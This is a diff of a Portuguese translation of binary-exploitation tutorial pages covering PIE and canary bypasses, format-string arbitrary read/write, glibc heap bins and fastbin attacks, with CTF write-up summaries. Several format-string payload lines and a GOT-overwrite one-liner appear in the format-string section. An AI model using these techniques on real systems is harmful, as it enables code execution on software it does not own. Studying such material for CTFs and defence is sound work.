|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
@ -8,7 +8,7 @@ Um binário compilado como PIE, ou **Executável Independente de Posição**, si
|
||||
|
||||
O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**.
|
||||
|
||||
Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
|
||||
Uma dica útil na exploração de binários PIE é que seu **endereço base geralmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
|
||||
Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais.
|
||||
|
||||
## Bypasses
|
||||
|
||||
@ -38,7 +38,7 @@ Em binários `x86`, o cookie do canário é um **`0x4`** byte dword. Os **primei
|
||||
bf-forked-stack-canaries.md
|
||||
{{#endref}}
|
||||
|
||||
- Se houver alguma **vulnerabilidade de vazamento ou leitura arbitrária** interessante no binário, pode ser possível vazá-lo:
|
||||
- Se houver algum **vazamento interessante ou vulnerabilidade de leitura arbitrária** no binário, pode ser possível vazá-lo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -47,7 +47,7 @@ print-stack-canary.md
|
||||
|
||||
- **Sobrescrevendo ponteiros armazenados na pilha**
|
||||
|
||||
A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** a fim de explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Verifique:
|
||||
A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** para explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Verifique:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -56,9 +56,9 @@ A pilha vulnerável a um estouro de pilha pode **contém endereços para strings
|
||||
|
||||
- **Modificando tanto o canário mestre quanto o da thread**
|
||||
|
||||
Um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).
|
||||
Um estouro de buffer em uma função com threads protegida por canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).
|
||||
|
||||
Além disso, um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
|
||||
Além disso, um estouro de buffer em uma função com threads protegida por canário pode ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
|
||||
Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\
|
||||
Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
|
||||
@ -15,7 +15,7 @@ Obviamente, essa tática é muito **restrita** já que o atacante precisa ser ca
|
||||
**Exemplos de CTF:**
|
||||
|
||||
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
|
||||
- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
|
||||
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
|
||||
- 32 bits, ARM, sem relro, canário, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canário + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system)
|
||||
|
||||
|
||||
@ -5,11 +5,11 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que essa função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
|
||||
Em C **`printf`** é uma função que pode ser usada para **imprimir** alguma string. O **primeiro parâmetro** que esta função espera é o **texto bruto com os formatadores**. Os **parâmetros seguintes** esperados são os **valores** para **substituir** os **formatadores** do texto bruto.
|
||||
|
||||
Outras funções vulneráveis são **`sprintf()`** e **`fprintf()`**.
|
||||
|
||||
A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para essa função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.
|
||||
A vulnerabilidade aparece quando um **texto de atacante é usado como o primeiro argumento** para esta função. O atacante será capaz de criar uma **entrada especial abusando** das capacidades da **string de formato printf** para ler e **escrever qualquer dado em qualquer endereço (legível/escrevível)**. Sendo capaz assim de **executar código arbitrário**.
|
||||
|
||||
#### Formatters:
|
||||
```bash
|
||||
@ -73,7 +73,7 @@ Observe que o atacante controla o parâmetro `printf`, **o que basicamente signi
|
||||
|
||||
## **Leitura Arbitrária**
|
||||
|
||||
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário é **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
|
||||
É possível usar o formatador **`%n$s`** para fazer com que **`printf`** obtenha o **endereço** situado na **n posição**, seguindo-o e **imprimí-lo como se fosse uma string** (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for **`0x8048000`**, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -142,12 +142,13 @@ Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um NÚMERO ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
|
||||
No entanto, note que geralmente, para escrever um endereço como `0x08049724` (que é um número ENORME para escrever de uma vez), **usa-se `$hn`** em vez de `$n`. Isso permite **escrever apenas 2 Bytes**. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
|
||||
|
||||
Portanto, essa vulnerabilidade permite **escrever qualquer coisa em qualquer endereço (escrita arbitrária).**
|
||||
|
||||
Neste exemplo, o objetivo será **sobrescrever** o **endereço** de uma **função** na tabela **GOT** que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
@ -174,6 +175,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
|
||||
Você pode encontrar um **template** para preparar um exploit para esse tipo de vulnerabilidade em:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
@ -2,25 +2,25 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
## Fundamentos do Heap
|
||||
|
||||
O heap é basicamente o lugar onde um programa poderá armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
|
||||
O heap é basicamente o lugar onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
|
||||
|
||||
Como mostrado, é logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`):
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Basic Chunk Allocation
|
||||
### Alocação Básica de Chunk
|
||||
|
||||
Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de chunk de metadados são usadas para saber onde cada chunk usado/livre está.
|
||||
Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está.
|
||||
|
||||
Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte:
|
||||
|
||||
- O programa começa solicitando uma certa quantidade de memória.
|
||||
- Se na lista de chunks houver um disponível grande o suficiente para atender à solicitação, ele será usado.
|
||||
- Se na lista de chunks houver um disponível grande o suficiente para atender à solicitação, ele será utilizado.
|
||||
- Isso pode até significar que parte do chunk disponível será usada para essa solicitação e o restante será adicionado à lista de chunks.
|
||||
- Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória heap alocada, o gerenciador de heap cria um novo chunk.
|
||||
- Se não houver espaço de heap suficiente para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk.
|
||||
- Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk.
|
||||
- Se tudo falhar, `malloc` retorna nulo.
|
||||
|
||||
Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será usado para mapear a memória solicitada.
|
||||
@ -29,7 +29,7 @@ Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será
|
||||
|
||||
Em aplicações **multithreaded**, o gerenciador de heap deve prevenir **condições de corrida** que poderiam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas um thread pudesse acessar o heap por vez, mas isso causou **problemas de desempenho** devido ao gargalo induzido pelo mutex.
|
||||
|
||||
Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações de heap sem interferir uns nos outros, desde que usem arenas diferentes.
|
||||
Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações no heap sem interferir uns nos outros, desde que usem arenas diferentes.
|
||||
|
||||
A arena "principal" padrão lida com operações de heap para aplicações de thread único. Quando **novos threads** são adicionados, o gerenciador de heap os atribui **arenas secundárias** para reduzir a contenção. Ele tenta primeiro anexar cada novo thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é alcançado, **os threads devem compartilhar arenas**, levando a uma potencial contenção.
|
||||
|
||||
@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
|
||||
**Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
|
||||
É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
|
||||
No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
|
||||
No caso das estruturas **`malloc_state`** dos heaps de threads, elas estão localizadas **dentro do "heap" da própria thread**.
|
||||
|
||||
Há algumas coisas interessantes a notar sobre esta estrutura (veja o código C abaixo):
|
||||
|
||||
@ -94,7 +94,7 @@ Há algumas coisas interessantes a notar sobre esta estrutura (veja o código C
|
||||
- Portanto, o **primeiro chunk** desses bins terá um **ponteiro reverso para esta estrutura** e o **último chunk** desses bins terá um **ponteiro para frente** para esta estrutura. O que basicamente significa que se você puder **vazar esses endereços na arena principal**, você terá um ponteiro para a estrutura na **libc**.
|
||||
- As structs `struct malloc_state *next;` e `struct malloc_state *next_free;` são listas encadeadas de arenas
|
||||
- O chunk `top` é o último "chunk", que é basicamente **todo o espaço restante do heap**. Uma vez que o chunk top está "vazio", o heap está completamente utilizado e precisa solicitar mais espaço.
|
||||
- O chunk `last reminder` vem de casos onde um chunk de tamanho exato não está disponível e, portanto, um chunk maior é dividido, uma parte do ponteiro restante é colocada aqui.
|
||||
- O chunk `last reminder` vem de casos onde um chunk de tamanho exato não está disponível e, portanto, um chunk maior é dividido, um ponteiro da parte restante é colocado aqui.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
@ -163,10 +163,10 @@ Como comentado anteriormente, esses chunks também têm alguns metadados, muito
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk usando os últimos 3 bits para indicar:
|
||||
Os metadados geralmente são 0x08B, indicando o tamanho atual do chunk, usando os últimos 3 bits para indicar:
|
||||
|
||||
- `A`: Se 1, vem de um subheap; se 0, está na arena principal
|
||||
- `M`: Se 1, este chunk é parte de um espaço alocado com mmap e não parte de um heap
|
||||
- `M`: Se 1, este chunk é parte de um espaço alocado com mmap e não faz parte de um heap
|
||||
- `P`: Se 1, o chunk anterior está em uso
|
||||
|
||||
Então, o espaço para os dados do usuário, e finalmente 0x08B para indicar o tamanho do chunk anterior quando o chunk está disponível (ou para armazenar dados do usuário quando está alocado).
|
||||
@ -181,7 +181,7 @@ Além disso, quando disponível, os dados do usuário também são usados para c
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado.
|
||||
> Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk está sendo registrado.
|
||||
|
||||
### Ponteiros de Chunk
|
||||
|
||||
@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Observe que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
|
||||
Note que para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
|
||||
|
||||
### Obter dados do Chunk e alterar metadados
|
||||
|
||||
@ -485,7 +485,7 @@ e dentro dela alguns chunks podem ser encontrados:
|
||||
|
||||
## Bins & Alocações/Liberções de Memória
|
||||
|
||||
Verifique quais são os bins e como estão organizados e como a memória é alocada e liberada em:
|
||||
Verifique quais são os bins e como eles estão organizados e como a memória é alocada e liberada em:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
|
||||
@ -242,22 +242,22 @@ Fastbins[idx=1, size=0x30] 0x00
|
||||
```
|
||||
</details>
|
||||
|
||||
### Bin não ordenado
|
||||
### Bin não classificado
|
||||
|
||||
O bin não ordenado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um bloco, e se esse bloco não pode ser alocado em um tcache ou bin rápido e não está colidindo com o bloco superior, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer blocos livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo bloco em um bin geral chamado "bin não ordenado."
|
||||
O bin não classificado é um **cache** usado pelo gerenciador de heap para tornar a alocação de memória mais rápida. Veja como funciona: Quando um programa libera um bloco, e se esse bloco não pode ser alocado em um tcache ou bin rápido e não está colidindo com o bloco superior, o gerenciador de heap não o coloca imediatamente em um bin pequeno ou grande específico. Em vez disso, ele primeiro tenta **mesclar com quaisquer blocos livres vizinhos** para criar um bloco maior de memória livre. Em seguida, coloca esse novo bloco em um bin geral chamado "bin não classificado."
|
||||
|
||||
Quando um programa **pede memória**, o gerenciador de heap **verifica o bin não ordenado** para ver se há um bloco de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um bloco adequado no bin não ordenado, ele move todos os blocos dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho.
|
||||
Quando um programa **pede memória**, o gerenciador de heap **verifica o bin não classificado** para ver se há um bloco de tamanho suficiente. Se encontrar um, ele o utiliza imediatamente. Se não encontrar um bloco adequado no bin não classificado, ele move todos os blocos dessa lista para seus bins correspondentes, seja pequeno ou grande, com base em seu tamanho.
|
||||
|
||||
Observe que se um bloco maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no bin não ordenado.
|
||||
Observe que se um bloco maior for dividido em 2 metades e o restante for maior que MINSIZE, ele será colocado de volta no bin não classificado.
|
||||
|
||||
Portanto, o bin não ordenado é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória recentemente liberada e reduzindo a necessidade de buscas e mesclagens demoradas.
|
||||
Portanto, o bin não classificado é uma maneira de acelerar a alocação de memória reutilizando rapidamente a memória recentemente liberada e reduzindo a necessidade de buscas e mesclagens demoradas.
|
||||
|
||||
> [!CAUTION]
|
||||
> Observe que mesmo que os blocos sejam de categorias diferentes, se um bloco disponível estiver colidindo com outro bloco disponível (mesmo que originalmente pertençam a bins diferentes), eles serão mesclados.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Adicionar um exemplo de bloco não ordenado</summary>
|
||||
<summary>Adicionar um exemplo de bloco não classificado</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -285,9 +285,9 @@ free(chunks[i]);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**.
|
||||
Observe como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**.
|
||||
|
||||
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado:
|
||||
Compile e depure com um ponto de interrupção no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no bin não ordenado:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -368,7 +368,7 @@ chunks[9] = malloc(0x110);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. Em seguida, alocamos um chunk maior de 0x110, o que faz **o chunk no bin não ordenado ir para o small bin**.
|
||||
Note como alocamos e liberamos 9 chunks do mesmo tamanho para que eles **preencham o tcache** e o oitavo é armazenado no bin não ordenado porque é **grande demais para o fastbin** e o nono não é liberado, então o nono e o oitavo **não são mesclados com o chunk superior**. Em seguida, alocamos um chunk maior de 0x110, o que faz com que **o chunk no bin não ordenado vá para o small bin**.
|
||||
|
||||
Compile e depure com um breakpoint no opcode `ret` da função `main`. Então, com `gef`, você pode ver que o bin do tcache está cheio e um chunk está no small bin:
|
||||
```bash
|
||||
@ -394,17 +394,17 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
|
||||
### Grandes bins
|
||||
|
||||
Ao contrário dos pequenos bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin gerencia uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de um bin separado para cada tamanho.
|
||||
Ao contrário das pequenas bins, que gerenciam pedaços de tamanhos fixos, cada **grande bin gerencia uma faixa de tamanhos de pedaços**. Isso é mais flexível, permitindo que o sistema acomode **vários tamanhos** sem precisar de uma bin separada para cada tamanho.
|
||||
|
||||
Em um alocador de memória, os grandes bins começam onde os pequenos bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que o primeiro bin pode cobrir pedaços de 512 a 576 bytes, enquanto o próximo cobre de 576 a 640 bytes. Esse padrão continua, com o maior bin contendo todos os pedaços acima de 1MB.
|
||||
Em um alocador de memória, as grandes bins começam onde as pequenas bins terminam. As faixas para grandes bins crescem progressivamente, o que significa que a primeira bin pode cobrir pedaços de 512 a 576 bytes, enquanto a próxima cobre de 576 a 640 bytes. Esse padrão continua, com a maior bin contendo todos os pedaços acima de 1MB.
|
||||
|
||||
Os grandes bins são mais lentos para operar em comparação com os pequenos bins porque eles devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em um grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra os torna **mais lentos**, mas como grandes alocações são menos comuns do que as pequenas, é uma troca aceitável.
|
||||
As grandes bins são mais lentas para operar em comparação com as pequenas bins porque elas devem **classificar e pesquisar em uma lista de tamanhos de pedaços variados para encontrar o melhor ajuste** para uma alocação. Quando um pedaço é inserido em uma grande bin, ele precisa ser classificado, e quando a memória é alocada, o sistema deve encontrar o pedaço certo. Esse trabalho extra as torna **mais lentas**, mas como grandes alocações são menos comuns do que pequenas, é uma troca aceitável.
|
||||
|
||||
Existem:
|
||||
|
||||
- 32 bins de faixa de 64B (colidem com pequenos bins)
|
||||
- 16 bins de faixa de 512B (colidem com pequenos bins)
|
||||
- 8 bins de faixa de 4096B (parte colide com pequenos bins)
|
||||
- 32 bins de faixa de 64B (colidem com pequenas bins)
|
||||
- 16 bins de faixa de 512B (colidem com pequenas bins)
|
||||
- 8 bins de faixa de 4096B (parte colide com pequenas bins)
|
||||
- 4 bins de faixa de 32768B
|
||||
- 2 bins de faixa de 262144B
|
||||
- 1 bin para tamanhos restantes
|
||||
@ -451,7 +451,7 @@ Existem:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Adicionar um exemplo de grande parte</summary>
|
||||
<summary>Adicionar um exemplo de grande bloco</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -553,7 +553,7 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
|
||||
[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........]
|
||||
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
|
||||
```
|
||||
Onde pode ser visto que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
|
||||
Onde pode-se ver que o chunk superior está no endereço `0xaaaaaaac1ae0`. Isso não é surpresa porque o último chunk alocado estava em `0xaaaaaaac12a0` com um tamanho de `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
|
||||
Também é possível ver o comprimento do chunk superior em seu cabeçalho de chunk:
|
||||
```bash
|
||||
gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
|
||||
@ -10,7 +10,7 @@ Para mais informações sobre o que é um fast bin, consulte esta página:
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar depois um chunk em qualquer endereço de memória**.
|
||||
Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar posteriormente um chunk em qualquer endereço de memória**.
|
||||
|
||||
Em resumo:
|
||||
```c
|
||||
@ -125,25 +125,19 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow).
|
||||
- **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`).
|
||||
- **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções) foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
|
||||
- **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções), foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
|
||||
Finalmente, um **one gadget** foi escrito lá.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- Há um overflow de heap e uso após liberação e dupla liberação porque, quando um chunk é liberado, é possível reutilizar e liberar novamente os ponteiros.
|
||||
- **Libc info leak**: Basta liberar alguns chunks e eles receberão um ponteiro para uma parte da localização da main arena. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
|
||||
- **Fast bin attack**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, aloque alguns chunks com o mesmo tamanho e receberemos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)` que, em vez disso, executará `system("/bin/sh")`.
|
||||
- Há um overflow de heap e uso após liberação e dupla liberação porque, quando um chunk é liberado, é possível reutilizar e reliberar os ponteiros.
|
||||
- **Libc info leak**: Basta liberar alguns chunks e eles receberão um ponteiro para uma parte da localização da arena principal. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
|
||||
